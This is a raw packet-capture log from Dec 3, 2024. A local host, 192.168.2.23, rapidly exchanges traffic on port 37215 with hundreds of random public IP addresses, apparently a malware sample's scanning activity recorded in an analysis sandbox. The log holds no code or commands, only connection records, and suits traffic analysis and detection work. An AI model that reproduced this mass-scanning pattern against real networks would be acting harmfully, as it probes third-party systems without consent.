Dec 3, 2024 21:30:43.332236052 CET	37215	59009	41.205.102.217	192.168.2.23
Dec 3, 2024 21:30:43.332247019 CET	37215	59009	41.171.10.37	192.168.2.23
Dec 3, 2024 21:30:43.332247019 CET	59009	37215	192.168.2.23	156.222.132.157
Dec 3, 2024 21:30:43.332257032 CET	37215	59009	197.217.233.70	192.168.2.23
Dec 3, 2024 21:30:43.332268953 CET	37215	59009	197.46.248.39	192.168.2.23
Dec 3, 2024 21:30:43.332276106 CET	59009	37215	192.168.2.23	41.205.102.217
Dec 3, 2024 21:30:43.332278967 CET	37215	59009	156.165.226.79	192.168.2.23
Dec 3, 2024 21:30:43.332292080 CET	59009	37215	192.168.2.23	197.217.233.70
Dec 3, 2024 21:30:43.332293987 CET	37215	59009	156.123.56.238	192.168.2.23
Dec 3, 2024 21:30:43.332298994 CET	59009	37215	192.168.2.23	41.171.10.37
Dec 3, 2024 21:30:43.332345963 CET	37215	59009	41.1.22.211	192.168.2.23
Dec 3, 2024 21:30:43.332357883 CET	37215	59009	41.82.59.113	192.168.2.23
Dec 3, 2024 21:30:43.332362890 CET	59009	37215	192.168.2.23	156.165.226.79
Dec 3, 2024 21:30:43.332367897 CET	59009	37215	192.168.2.23	197.46.248.39
Dec 3, 2024 21:30:43.332370043 CET	59009	37215	192.168.2.23	156.123.56.238
Dec 3, 2024 21:30:43.332384109 CET	59009	37215	192.168.2.23	41.1.22.211
Dec 3, 2024 21:30:43.332396984 CET	59009	37215	192.168.2.23	41.82.59.113
Dec 3, 2024 21:30:43.332402945 CET	37215	59009	156.227.69.151	192.168.2.23
Dec 3, 2024 21:30:43.332426071 CET	37215	59009	41.71.59.187	192.168.2.23
Dec 3, 2024 21:30:43.332437992 CET	37215	59009	197.148.229.25	192.168.2.23
Dec 3, 2024 21:30:43.332448959 CET	59009	37215	192.168.2.23	156.227.69.151
Dec 3, 2024 21:30:43.332456112 CET	37215	59009	156.179.85.57	192.168.2.23
Dec 3, 2024 21:30:43.332467079 CET	37215	59009	197.114.186.104	192.168.2.23
Dec 3, 2024 21:30:43.332468987 CET	59009	37215	192.168.2.23	41.71.59.187
Dec 3, 2024 21:30:43.332478046 CET	37215	59009	41.248.249.245	192.168.2.23
Dec 3, 2024 21:30:43.332479000 CET	59009	37215	192.168.2.23	197.148.229.25
Dec 3, 2024 21:30:43.332494020 CET	59009	37215	192.168.2.23	156.179.85.57
Dec 3, 2024 21:30:43.332500935 CET	37215	59009	156.138.221.214	192.168.2.23
Dec 3, 2024 21:30:43.332508087 CET	59009	37215	192.168.2.23	197.114.186.104
Dec 3, 2024 21:30:43.332510948 CET	59009	37215	192.168.2.23	41.248.249.245
Dec 3, 2024 21:30:43.332518101 CET	37215	59009	156.109.35.136	192.168.2.23
Dec 3, 2024 21:30:43.332541943 CET	59009	37215	192.168.2.23	156.138.221.214
Dec 3, 2024 21:30:43.332556963 CET	37215	59009	156.189.129.183	192.168.2.23
Dec 3, 2024 21:30:43.332559109 CET	59009	37215	192.168.2.23	156.109.35.136
Dec 3, 2024 21:30:43.332568884 CET	37215	59009	41.222.130.163	192.168.2.23
Dec 3, 2024 21:30:43.332601070 CET	59009	37215	192.168.2.23	41.222.130.163
Dec 3, 2024 21:30:43.332602024 CET	59009	37215	192.168.2.23	156.189.129.183
Dec 3, 2024 21:30:43.332663059 CET	37215	59009	41.231.81.70	192.168.2.23
Dec 3, 2024 21:30:43.332674026 CET	37215	59009	156.211.5.234	192.168.2.23
Dec 3, 2024 21:30:43.332705975 CET	59009	37215	192.168.2.23	41.231.81.70
Dec 3, 2024 21:30:43.332716942 CET	59009	37215	192.168.2.23	156.211.5.234
Dec 3, 2024 21:30:43.333383083 CET	37215	59009	156.207.193.128	192.168.2.23
Dec 3, 2024 21:30:43.333404064 CET	37215	59009	41.40.175.140	192.168.2.23
Dec 3, 2024 21:30:43.333415031 CET	37215	59009	156.16.159.80	192.168.2.23
Dec 3, 2024 21:30:43.333432913 CET	37215	59009	41.148.117.139	192.168.2.23
Dec 3, 2024 21:30:43.333432913 CET	59009	37215	192.168.2.23	156.207.193.128
Dec 3, 2024 21:30:43.333436012 CET	59009	37215	192.168.2.23	41.40.175.140
Dec 3, 2024 21:30:43.333450079 CET	59009	37215	192.168.2.23	156.16.159.80
Dec 3, 2024 21:30:43.333461046 CET	37215	59009	197.198.44.164	192.168.2.23
Dec 3, 2024 21:30:43.333472967 CET	59009	37215	192.168.2.23	41.148.117.139
Dec 3, 2024 21:30:43.333486080 CET	37215	59009	156.244.183.124	192.168.2.23
Dec 3, 2024 21:30:43.333506107 CET	37215	59009	41.177.233.228	192.168.2.23
Dec 3, 2024 21:30:43.333508015 CET	59009	37215	192.168.2.23	197.198.44.164
Dec 3, 2024 21:30:43.333524942 CET	59009	37215	192.168.2.23	156.244.183.124
Dec 3, 2024 21:30:43.333537102 CET	59009	37215	192.168.2.23	41.177.233.228
Dec 3, 2024 21:30:43.333566904 CET	37215	59009	156.97.16.178	192.168.2.23
Dec 3, 2024 21:30:43.333578110 CET	37215	59009	41.161.235.253	192.168.2.23
Dec 3, 2024 21:30:43.333590031 CET	37215	59009	156.233.176.125	192.168.2.23
Dec 3, 2024 21:30:43.333600044 CET	37215	59009	197.161.35.191	192.168.2.23
Dec 3, 2024 21:30:43.333614111 CET	37215	59009	156.14.208.2	192.168.2.23
Dec 3, 2024 21:30:43.333620071 CET	59009	37215	192.168.2.23	41.161.235.253
Dec 3, 2024 21:30:43.333620071 CET	59009	37215	192.168.2.23	156.97.16.178
Dec 3, 2024 21:30:43.333641052 CET	59009	37215	192.168.2.23	197.161.35.191
Dec 3, 2024 21:30:43.333647966 CET	59009	37215	192.168.2.23	156.233.176.125
Dec 3, 2024 21:30:43.333650112 CET	59009	37215	192.168.2.23	156.14.208.2
Dec 3, 2024 21:30:43.333651066 CET	37215	59009	41.195.126.108	192.168.2.23
Dec 3, 2024 21:30:43.333661079 CET	37215	59009	156.19.113.240	192.168.2.23
Dec 3, 2024 21:30:43.333673000 CET	37215	59009	41.230.27.179	192.168.2.23
Dec 3, 2024 21:30:43.333690882 CET	59009	37215	192.168.2.23	41.195.126.108
Dec 3, 2024 21:30:43.333700895 CET	37215	59009	156.184.57.169	192.168.2.23
Dec 3, 2024 21:30:43.333703995 CET	59009	37215	192.168.2.23	156.19.113.240
Dec 3, 2024 21:30:43.333712101 CET	37215	59009	41.22.230.33	192.168.2.23
Dec 3, 2024 21:30:43.333723068 CET	37215	59009	156.9.118.202	192.168.2.23
Dec 3, 2024 21:30:43.333726883 CET	59009	37215	192.168.2.23	41.230.27.179
Dec 3, 2024 21:30:43.333736897 CET	37215	59009	197.27.45.97	192.168.2.23
Dec 3, 2024 21:30:43.333740950 CET	59009	37215	192.168.2.23	156.184.57.169
Dec 3, 2024 21:30:43.333754063 CET	59009	37215	192.168.2.23	41.22.230.33
Dec 3, 2024 21:30:43.333754063 CET	59009	37215	192.168.2.23	156.9.118.202
Dec 3, 2024 21:30:43.333766937 CET	37215	59009	197.145.21.62	192.168.2.23
Dec 3, 2024 21:30:43.333775997 CET	59009	37215	192.168.2.23	197.27.45.97
Dec 3, 2024 21:30:43.333776951 CET	37215	59009	197.52.137.21	192.168.2.23
Dec 3, 2024 21:30:43.333787918 CET	37215	59009	156.180.106.72	192.168.2.23
Dec 3, 2024 21:30:43.333796978 CET	37215	59009	156.84.84.133	192.168.2.23
Dec 3, 2024 21:30:43.333810091 CET	59009	37215	192.168.2.23	197.145.21.62
Dec 3, 2024 21:30:43.333818913 CET	37215	59009	41.55.79.92	192.168.2.23
Dec 3, 2024 21:30:43.333820105 CET	59009	37215	192.168.2.23	156.180.106.72
Dec 3, 2024 21:30:43.333825111 CET	59009	37215	192.168.2.23	197.52.137.21
Dec 3, 2024 21:30:43.333847046 CET	59009	37215	192.168.2.23	156.84.84.133
Dec 3, 2024 21:30:43.333856106 CET	59009	37215	192.168.2.23	41.55.79.92
Dec 3, 2024 21:30:43.333889961 CET	37215	59009	197.33.48.252	192.168.2.23
Dec 3, 2024 21:30:43.333900928 CET	37215	59009	156.202.169.11	192.168.2.23
Dec 3, 2024 21:30:43.333909988 CET	37215	59009	41.108.197.192	192.168.2.23
Dec 3, 2024 21:30:43.333920956 CET	37215	59009	197.121.144.76	192.168.2.23
Dec 3, 2024 21:30:43.333926916 CET	59009	37215	192.168.2.23	197.33.48.252
Dec 3, 2024 21:30:43.333933115 CET	59009	37215	192.168.2.23	156.202.169.11
Dec 3, 2024 21:30:43.333969116 CET	59009	37215	192.168.2.23	41.108.197.192
Dec 3, 2024 21:30:43.333970070 CET	59009	37215	192.168.2.23	197.121.144.76
Dec 3, 2024 21:30:43.334603071 CET	37215	59009	41.215.19.227	192.168.2.23
Dec 3, 2024 21:30:43.334623098 CET	37215	59009	156.140.59.132	192.168.2.23
Dec 3, 2024 21:30:43.334633112 CET	37215	59009	41.67.171.55	192.168.2.23
Dec 3, 2024 21:30:43.334642887 CET	59009	37215	192.168.2.23	41.215.19.227
Dec 3, 2024 21:30:43.334671974 CET	59009	37215	192.168.2.23	41.67.171.55
Dec 3, 2024 21:30:43.334671974 CET	59009	37215	192.168.2.23	156.140.59.132
Dec 3, 2024 21:30:43.334758997 CET	37215	59009	41.219.10.67	192.168.2.23
Dec 3, 2024 21:30:43.334769964 CET	37215	59009	156.8.190.133	192.168.2.23
Dec 3, 2024 21:30:43.334779024 CET	37215	59009	197.46.242.81	192.168.2.23
Dec 3, 2024 21:30:43.334789038 CET	37215	59009	156.53.220.236	192.168.2.23
Dec 3, 2024 21:30:43.334798098 CET	37215	59009	41.105.221.147	192.168.2.23
Dec 3, 2024 21:30:43.334801912 CET	59009	37215	192.168.2.23	41.219.10.67
Dec 3, 2024 21:30:43.334801912 CET	59009	37215	192.168.2.23	156.8.190.133
Dec 3, 2024 21:30:43.334808111 CET	37215	59009	197.175.229.113	192.168.2.23
Dec 3, 2024 21:30:43.334813118 CET	59009	37215	192.168.2.23	197.46.242.81
Dec 3, 2024 21:30:43.334816933 CET	37215	59009	41.107.132.184	192.168.2.23
Dec 3, 2024 21:30:43.334817886 CET	59009	37215	192.168.2.23	156.53.220.236
Dec 3, 2024 21:30:43.334826946 CET	37215	59009	41.77.223.218	192.168.2.23
Dec 3, 2024 21:30:43.334837914 CET	37215	59009	197.65.230.164	192.168.2.23
Dec 3, 2024 21:30:43.334842920 CET	59009	37215	192.168.2.23	41.105.221.147
Dec 3, 2024 21:30:43.334847927 CET	59009	37215	192.168.2.23	41.107.132.184
Dec 3, 2024 21:30:43.334849119 CET	37215	59009	41.68.208.9	192.168.2.23
Dec 3, 2024 21:30:43.334860086 CET	37215	59009	156.159.125.7	192.168.2.23
Dec 3, 2024 21:30:43.334867001 CET	59009	37215	192.168.2.23	197.175.229.113
Dec 3, 2024 21:30:43.334870100 CET	59009	37215	192.168.2.23	41.77.223.218
Dec 3, 2024 21:30:43.334870100 CET	37215	59009	197.68.109.132	192.168.2.23
Dec 3, 2024 21:30:43.334877968 CET	59009	37215	192.168.2.23	197.65.230.164
Dec 3, 2024 21:30:43.334882975 CET	37215	59009	41.216.163.209	192.168.2.23
Dec 3, 2024 21:30:43.334891081 CET	59009	37215	192.168.2.23	156.159.125.7
Dec 3, 2024 21:30:43.334897995 CET	59009	37215	192.168.2.23	41.68.208.9
Dec 3, 2024 21:30:43.334901094 CET	37215	59009	197.224.237.70	192.168.2.23
Dec 3, 2024 21:30:43.334902048 CET	59009	37215	192.168.2.23	197.68.109.132
Dec 3, 2024 21:30:43.334911108 CET	37215	59009	156.12.79.243	192.168.2.23
Dec 3, 2024 21:30:43.334920883 CET	37215	59009	156.23.248.48	192.168.2.23
Dec 3, 2024 21:30:43.334925890 CET	59009	37215	192.168.2.23	41.216.163.209
Dec 3, 2024 21:30:43.334933043 CET	37215	59009	197.164.182.220	192.168.2.23
Dec 3, 2024 21:30:43.334938049 CET	59009	37215	192.168.2.23	197.224.237.70
Dec 3, 2024 21:30:43.334953070 CET	37215	59009	156.232.160.50	192.168.2.23
Dec 3, 2024 21:30:43.334958076 CET	59009	37215	192.168.2.23	156.23.248.48
Dec 3, 2024 21:30:43.334961891 CET	37215	59009	41.132.163.91	192.168.2.23
Dec 3, 2024 21:30:43.334961891 CET	59009	37215	192.168.2.23	156.12.79.243
Dec 3, 2024 21:30:43.334964037 CET	59009	37215	192.168.2.23	197.164.182.220
Dec 3, 2024 21:30:43.334971905 CET	37215	59009	156.31.8.115	192.168.2.23
Dec 3, 2024 21:30:43.334980965 CET	37215	59009	41.108.42.20	192.168.2.23
Dec 3, 2024 21:30:43.334989071 CET	37215	59009	156.217.140.156	192.168.2.23
Dec 3, 2024 21:30:43.334991932 CET	59009	37215	192.168.2.23	156.232.160.50
Dec 3, 2024 21:30:43.335006952 CET	37215	59009	197.205.235.175	192.168.2.23
Dec 3, 2024 21:30:43.335014105 CET	59009	37215	192.168.2.23	156.31.8.115
Dec 3, 2024 21:30:43.335014105 CET	59009	37215	192.168.2.23	41.108.42.20
Dec 3, 2024 21:30:43.335016966 CET	37215	59009	156.184.147.178	192.168.2.23
Dec 3, 2024 21:30:43.335016966 CET	59009	37215	192.168.2.23	41.132.163.91
Dec 3, 2024 21:30:43.335016966 CET	59009	37215	192.168.2.23	156.217.140.156
Dec 3, 2024 21:30:43.335028887 CET	37215	59009	41.105.236.235	192.168.2.23
Dec 3, 2024 21:30:43.335048914 CET	59009	37215	192.168.2.23	197.205.235.175
Dec 3, 2024 21:30:43.335048914 CET	59009	37215	192.168.2.23	156.184.147.178
Dec 3, 2024 21:30:43.335063934 CET	59009	37215	192.168.2.23	41.105.236.235
Dec 3, 2024 21:30:43.335608959 CET	37215	59009	197.213.235.135	192.168.2.23
Dec 3, 2024 21:30:43.335619926 CET	37215	59009	156.62.52.14	192.168.2.23
Dec 3, 2024 21:30:43.335629940 CET	37215	59009	41.78.147.236	192.168.2.23
Dec 3, 2024 21:30:43.335648060 CET	37215	59009	156.53.248.164	192.168.2.23
Dec 3, 2024 21:30:43.335654974 CET	59009	37215	192.168.2.23	156.62.52.14
Dec 3, 2024 21:30:43.335656881 CET	59009	37215	192.168.2.23	197.213.235.135
Dec 3, 2024 21:30:43.335683107 CET	59009	37215	192.168.2.23	41.78.147.236
Dec 3, 2024 21:30:43.335688114 CET	59009	37215	192.168.2.23	156.53.248.164
Dec 3, 2024 21:30:43.335705996 CET	37215	59009	197.76.113.219	192.168.2.23
Dec 3, 2024 21:30:43.335716009 CET	37215	59009	41.43.222.2	192.168.2.23
Dec 3, 2024 21:30:43.335726023 CET	37215	59009	41.80.121.167	192.168.2.23
Dec 3, 2024 21:30:43.335743904 CET	37215	59009	41.143.71.177	192.168.2.23
Dec 3, 2024 21:30:43.335751057 CET	59009	37215	192.168.2.23	197.76.113.219
Dec 3, 2024 21:30:43.335752010 CET	59009	37215	192.168.2.23	41.43.222.2
Dec 3, 2024 21:30:43.335753918 CET	37215	59009	197.50.26.98	192.168.2.23
Dec 3, 2024 21:30:43.335763931 CET	37215	59009	156.39.211.82	192.168.2.23
Dec 3, 2024 21:30:43.335766077 CET	59009	37215	192.168.2.23	41.80.121.167
Dec 3, 2024 21:30:43.335788012 CET	59009	37215	192.168.2.23	197.50.26.98
Dec 3, 2024 21:30:43.335798025 CET	59009	37215	192.168.2.23	41.143.71.177
Dec 3, 2024 21:30:43.335802078 CET	59009	37215	192.168.2.23	156.39.211.82
Dec 3, 2024 21:30:43.335813999 CET	37215	59009	41.160.191.199	192.168.2.23
Dec 3, 2024 21:30:43.335824966 CET	37215	59009	41.186.241.91	192.168.2.23
Dec 3, 2024 21:30:43.335845947 CET	37215	59009	156.12.222.153	192.168.2.23
Dec 3, 2024 21:30:43.335854053 CET	59009	37215	192.168.2.23	41.160.191.199
Dec 3, 2024 21:30:43.335856915 CET	37215	59009	41.203.190.163	192.168.2.23
Dec 3, 2024 21:30:43.335860968 CET	59009	37215	192.168.2.23	41.186.241.91
Dec 3, 2024 21:30:43.335870028 CET	37215	59009	156.4.86.61	192.168.2.23
Dec 3, 2024 21:30:43.335880041 CET	37215	59009	156.166.47.89	192.168.2.23
Dec 3, 2024 21:30:43.335884094 CET	59009	37215	192.168.2.23	156.12.222.153
Dec 3, 2024 21:30:43.335884094 CET	59009	37215	192.168.2.23	41.203.190.163
Dec 3, 2024 21:30:43.335889101 CET	37215	59009	197.212.168.191	192.168.2.23
Dec 3, 2024 21:30:43.335908890 CET	59009	37215	192.168.2.23	156.4.86.61
Dec 3, 2024 21:30:43.335915089 CET	59009	37215	192.168.2.23	156.166.47.89
Dec 3, 2024 21:30:43.335915089 CET	59009	37215	192.168.2.23	197.212.168.191
Dec 3, 2024 21:30:43.335993052 CET	37215	59009	41.231.53.96	192.168.2.23
Dec 3, 2024 21:30:43.336004019 CET	37215	59009	156.110.87.170	192.168.2.23
Dec 3, 2024 21:30:43.336013079 CET	37215	59009	197.166.186.63	192.168.2.23
Dec 3, 2024 21:30:43.336026907 CET	37215	59009	41.168.2.140	192.168.2.23
Dec 3, 2024 21:30:43.336031914 CET	59009	37215	192.168.2.23	41.231.53.96
Dec 3, 2024 21:30:43.336041927 CET	37215	59009	41.21.108.8	192.168.2.23
Dec 3, 2024 21:30:43.336041927 CET	59009	37215	192.168.2.23	156.110.87.170
Dec 3, 2024 21:30:43.336042881 CET	59009	37215	192.168.2.23	197.166.186.63
Dec 3, 2024 21:30:43.336051941 CET	37215	59009	156.151.49.202	192.168.2.23
Dec 3, 2024 21:30:43.336062908 CET	37215	59009	41.44.179.59	192.168.2.23
Dec 3, 2024 21:30:43.336070061 CET	59009	37215	192.168.2.23	41.168.2.140
Dec 3, 2024 21:30:43.336071014 CET	59009	37215	192.168.2.23	41.21.108.8
Dec 3, 2024 21:30:43.336071968 CET	37215	59009	197.194.209.21	192.168.2.23
Dec 3, 2024 21:30:43.336086035 CET	37215	59009	197.103.102.14	192.168.2.23
Dec 3, 2024 21:30:43.336088896 CET	59009	37215	192.168.2.23	156.151.49.202
Dec 3, 2024 21:30:43.336100101 CET	37215	59009	156.166.193.206	192.168.2.23
Dec 3, 2024 21:30:43.336100101 CET	59009	37215	192.168.2.23	41.44.179.59
Dec 3, 2024 21:30:43.336110115 CET	37215	59009	41.103.141.56	192.168.2.23
Dec 3, 2024 21:30:43.336122036 CET	59009	37215	192.168.2.23	197.194.209.21
Dec 3, 2024 21:30:43.336123943 CET	59009	37215	192.168.2.23	197.103.102.14
Dec 3, 2024 21:30:43.336134911 CET	59009	37215	192.168.2.23	156.166.193.206
Dec 3, 2024 21:30:43.336150885 CET	59009	37215	192.168.2.23	41.103.141.56
Dec 3, 2024 21:30:43.336641073 CET	37215	59009	41.108.195.56	192.168.2.23
Dec 3, 2024 21:30:43.336673021 CET	37215	59009	197.76.84.12	192.168.2.23
Dec 3, 2024 21:30:43.336683035 CET	59009	37215	192.168.2.23	41.108.195.56
Dec 3, 2024 21:30:43.336690903 CET	37215	59009	41.84.93.60	192.168.2.23
Dec 3, 2024 21:30:43.336704969 CET	37215	59009	41.48.210.95	192.168.2.23
Dec 3, 2024 21:30:43.336710930 CET	59009	37215	192.168.2.23	197.76.84.12
Dec 3, 2024 21:30:43.336718082 CET	37215	59009	197.171.19.111	192.168.2.23
Dec 3, 2024 21:30:43.336724043 CET	59009	37215	192.168.2.23	41.84.93.60
Dec 3, 2024 21:30:43.336728096 CET	37215	59009	41.9.232.123	192.168.2.23
Dec 3, 2024 21:30:43.336735010 CET	59009	37215	192.168.2.23	41.48.210.95
Dec 3, 2024 21:30:43.336750984 CET	37215	59009	197.217.16.132	192.168.2.23
Dec 3, 2024 21:30:43.336755037 CET	59009	37215	192.168.2.23	197.171.19.111
Dec 3, 2024 21:30:43.336756945 CET	59009	37215	192.168.2.23	41.9.232.123
Dec 3, 2024 21:30:43.336779118 CET	59009	37215	192.168.2.23	197.217.16.132
Dec 3, 2024 21:30:43.336798906 CET	37215	59009	41.54.25.169	192.168.2.23
Dec 3, 2024 21:30:43.336810112 CET	37215	59009	197.148.98.135	192.168.2.23
Dec 3, 2024 21:30:43.336827993 CET	37215	59009	197.80.208.70	192.168.2.23
Dec 3, 2024 21:30:43.336836100 CET	59009	37215	192.168.2.23	41.54.25.169
Dec 3, 2024 21:30:43.336841106 CET	59009	37215	192.168.2.23	197.148.98.135
Dec 3, 2024 21:30:43.336854935 CET	37215	59009	156.41.253.152	192.168.2.23
Dec 3, 2024 21:30:43.336857080 CET	59009	37215	192.168.2.23	197.80.208.70
Dec 3, 2024 21:30:43.336864948 CET	37215	59009	197.88.20.183	192.168.2.23
Dec 3, 2024 21:30:43.336898088 CET	59009	37215	192.168.2.23	156.41.253.152
Dec 3, 2024 21:30:43.336906910 CET	59009	37215	192.168.2.23	197.88.20.183
Dec 3, 2024 21:30:43.337110043 CET	37215	59009	41.184.48.184	192.168.2.23
Dec 3, 2024 21:30:43.337120056 CET	37215	59009	41.112.64.164	192.168.2.23
Dec 3, 2024 21:30:43.337130070 CET	37215	59009	156.189.102.255	192.168.2.23
Dec 3, 2024 21:30:43.337140083 CET	37215	59009	156.15.173.61	192.168.2.23
Dec 3, 2024 21:30:43.337146044 CET	59009	37215	192.168.2.23	41.184.48.184
Dec 3, 2024 21:30:43.337150097 CET	37215	59009	156.180.5.5	192.168.2.23
Dec 3, 2024 21:30:43.337152004 CET	59009	37215	192.168.2.23	41.112.64.164
Dec 3, 2024 21:30:43.337162018 CET	37215	59009	41.247.210.255	192.168.2.23
Dec 3, 2024 21:30:43.337162971 CET	59009	37215	192.168.2.23	156.189.102.255
Dec 3, 2024 21:30:43.337165117 CET	59009	37215	192.168.2.23	156.15.173.61
Dec 3, 2024 21:30:43.337172031 CET	37215	59009	197.224.46.221	192.168.2.23
Dec 3, 2024 21:30:43.337182045 CET	37215	59009	197.48.207.219	192.168.2.23
Dec 3, 2024 21:30:43.337182999 CET	59009	37215	192.168.2.23	156.180.5.5
Dec 3, 2024 21:30:43.337192059 CET	37215	59009	41.192.188.64	192.168.2.23
Dec 3, 2024 21:30:43.337197065 CET	59009	37215	192.168.2.23	41.247.210.255
Dec 3, 2024 21:30:43.337201118 CET	59009	37215	192.168.2.23	197.224.46.221
Dec 3, 2024 21:30:43.337201118 CET	37215	59009	41.100.81.108	192.168.2.23
Dec 3, 2024 21:30:43.337208986 CET	59009	37215	192.168.2.23	197.48.207.219
Dec 3, 2024 21:30:43.337212086 CET	37215	59009	197.165.198.60	192.168.2.23
Dec 3, 2024 21:30:43.337224007 CET	59009	37215	192.168.2.23	41.192.188.64
Dec 3, 2024 21:30:43.337224007 CET	37215	59009	41.7.152.108	192.168.2.23
Dec 3, 2024 21:30:43.337228060 CET	59009	37215	192.168.2.23	41.100.81.108
Dec 3, 2024 21:30:43.337244034 CET	37215	59009	197.137.229.68	192.168.2.23
Dec 3, 2024 21:30:43.337249041 CET	59009	37215	192.168.2.23	197.165.198.60
Dec 3, 2024 21:30:43.337254047 CET	37215	59009	197.86.82.181	192.168.2.23
Dec 3, 2024 21:30:43.337255001 CET	59009	37215	192.168.2.23	41.7.152.108
Dec 3, 2024 21:30:43.337265015 CET	37215	59009	197.134.162.167	192.168.2.23
Dec 3, 2024 21:30:43.337274075 CET	37215	59009	41.25.210.200	192.168.2.23
Dec 3, 2024 21:30:43.337281942 CET	59009	37215	192.168.2.23	197.137.229.68
Dec 3, 2024 21:30:43.337301970 CET	59009	37215	192.168.2.23	197.134.162.167
Dec 3, 2024 21:30:43.337306023 CET	59009	37215	192.168.2.23	41.25.210.200
Dec 3, 2024 21:30:43.337308884 CET	59009	37215	192.168.2.23	197.86.82.181
Dec 3, 2024 21:30:43.337866068 CET	37215	59009	41.242.190.31	192.168.2.23
Dec 3, 2024 21:30:43.337877989 CET	37215	59009	156.156.22.72	192.168.2.23
Dec 3, 2024 21:30:43.337887049 CET	37215	59009	41.66.207.240	192.168.2.23
Dec 3, 2024 21:30:43.337897062 CET	37215	59009	41.244.127.202	192.168.2.23
Dec 3, 2024 21:30:43.337907076 CET	37215	59009	156.15.143.22	192.168.2.23
Dec 3, 2024 21:30:43.337909937 CET	59009	37215	192.168.2.23	41.242.190.31
Dec 3, 2024 21:30:43.337913036 CET	59009	37215	192.168.2.23	156.156.22.72
Dec 3, 2024 21:30:43.337917089 CET	37215	59009	197.80.168.227	192.168.2.23
Dec 3, 2024 21:30:43.337924957 CET	59009	37215	192.168.2.23	41.66.207.240
Dec 3, 2024 21:30:43.337928057 CET	59009	37215	192.168.2.23	41.244.127.202
Dec 3, 2024 21:30:43.337935925 CET	37215	59009	41.214.235.225	192.168.2.23
Dec 3, 2024 21:30:43.337944031 CET	59009	37215	192.168.2.23	156.15.143.22
Dec 3, 2024 21:30:43.337944984 CET	37215	59009	197.76.161.158	192.168.2.23
Dec 3, 2024 21:30:43.337953091 CET	59009	37215	192.168.2.23	197.80.168.227
Dec 3, 2024 21:30:43.337960958 CET	37215	59009	156.7.217.213	192.168.2.23
Dec 3, 2024 21:30:43.337970972 CET	37215	59009	156.120.153.37	192.168.2.23
Dec 3, 2024 21:30:43.337974072 CET	59009	37215	192.168.2.23	41.214.235.225
Dec 3, 2024 21:30:43.337980032 CET	37215	59009	156.188.81.187	192.168.2.23
Dec 3, 2024 21:30:43.337984085 CET	37215	59009	156.242.16.220	192.168.2.23
Dec 3, 2024 21:30:43.337987900 CET	37215	59009	41.201.64.12	192.168.2.23
Dec 3, 2024 21:30:43.337990046 CET	59009	37215	192.168.2.23	197.76.161.158
Dec 3, 2024 21:30:43.337999105 CET	59009	37215	192.168.2.23	156.7.217.213
Dec 3, 2024 21:30:43.338001966 CET	37215	59009	197.112.65.108	192.168.2.23
Dec 3, 2024 21:30:43.338012934 CET	37215	59009	197.230.152.181	192.168.2.23
Dec 3, 2024 21:30:43.338015079 CET	59009	37215	192.168.2.23	156.188.81.187
Dec 3, 2024 21:30:43.338018894 CET	59009	37215	192.168.2.23	156.120.153.37
Dec 3, 2024 21:30:43.338020086 CET	59009	37215	192.168.2.23	156.242.16.220
Dec 3, 2024 21:30:43.338022947 CET	37215	59009	41.243.26.103	192.168.2.23
Dec 3, 2024 21:30:43.338033915 CET	37215	59009	197.10.247.36	192.168.2.23
Dec 3, 2024 21:30:43.338040113 CET	59009	37215	192.168.2.23	41.201.64.12
Dec 3, 2024 21:30:43.338043928 CET	59009	37215	192.168.2.23	197.112.65.108
Dec 3, 2024 21:30:43.338044882 CET	59009	37215	192.168.2.23	197.230.152.181
Dec 3, 2024 21:30:43.338052988 CET	37215	59009	41.182.103.40	192.168.2.23
Dec 3, 2024 21:30:43.338063002 CET	37215	59009	41.236.212.172	192.168.2.23
Dec 3, 2024 21:30:43.338069916 CET	59009	37215	192.168.2.23	41.243.26.103
Dec 3, 2024 21:30:43.338073969 CET	59009	37215	192.168.2.23	197.10.247.36
Dec 3, 2024 21:30:43.338078976 CET	37215	59009	197.145.8.209	192.168.2.23
Dec 3, 2024 21:30:43.338088989 CET	37215	59009	197.248.130.250	192.168.2.23
Dec 3, 2024 21:30:43.338095903 CET	59009	37215	192.168.2.23	41.182.103.40
Dec 3, 2024 21:30:43.338098049 CET	37215	59009	197.245.79.233	192.168.2.23
Dec 3, 2024 21:30:43.338103056 CET	59009	37215	192.168.2.23	41.236.212.172
Dec 3, 2024 21:30:43.338107109 CET	37215	59009	156.236.24.141	192.168.2.23
Dec 3, 2024 21:30:43.338109970 CET	59009	37215	192.168.2.23	197.145.8.209
Dec 3, 2024 21:30:43.338115931 CET	37215	59009	156.11.45.137	192.168.2.23
Dec 3, 2024 21:30:43.338120937 CET	37215	59009	156.232.24.163	192.168.2.23
Dec 3, 2024 21:30:43.338124990 CET	37215	59009	156.125.172.214	192.168.2.23
Dec 3, 2024 21:30:43.338126898 CET	59009	37215	192.168.2.23	197.248.130.250
Dec 3, 2024 21:30:43.338134050 CET	37215	59009	156.219.92.113	192.168.2.23
Dec 3, 2024 21:30:43.338135004 CET	59009	37215	192.168.2.23	197.245.79.233
Dec 3, 2024 21:30:43.338145018 CET	37215	59009	41.172.218.220	192.168.2.23
Dec 3, 2024 21:30:43.338150024 CET	59009	37215	192.168.2.23	156.236.24.141
Dec 3, 2024 21:30:43.338159084 CET	59009	37215	192.168.2.23	156.11.45.137
Dec 3, 2024 21:30:43.338160992 CET	59009	37215	192.168.2.23	156.232.24.163
Dec 3, 2024 21:30:43.338175058 CET	59009	37215	192.168.2.23	156.125.172.214
Dec 3, 2024 21:30:43.338175058 CET	59009	37215	192.168.2.23	156.219.92.113
Dec 3, 2024 21:30:43.338184118 CET	59009	37215	192.168.2.23	41.172.218.220
Dec 3, 2024 21:30:43.338732004 CET	37215	59009	41.29.241.87	192.168.2.23
Dec 3, 2024 21:30:43.338742971 CET	37215	59009	156.143.51.115	192.168.2.23
Dec 3, 2024 21:30:43.338752985 CET	37215	59009	156.229.58.228	192.168.2.23
Dec 3, 2024 21:30:43.338776112 CET	59009	37215	192.168.2.23	41.29.241.87
Dec 3, 2024 21:30:43.338776112 CET	59009	37215	192.168.2.23	156.143.51.115
Dec 3, 2024 21:30:43.338788986 CET	59009	37215	192.168.2.23	156.229.58.228
Dec 3, 2024 21:30:43.338800907 CET	37215	59009	41.66.126.224	192.168.2.23
Dec 3, 2024 21:30:43.338813066 CET	37215	59009	41.110.112.240	192.168.2.23
Dec 3, 2024 21:30:43.338821888 CET	37215	59009	41.49.202.177	192.168.2.23
Dec 3, 2024 21:30:43.338833094 CET	37215	59009	197.49.20.168	192.168.2.23
Dec 3, 2024 21:30:43.338841915 CET	37215	59009	41.51.69.128	192.168.2.23
Dec 3, 2024 21:30:43.338841915 CET	59009	37215	192.168.2.23	41.66.126.224
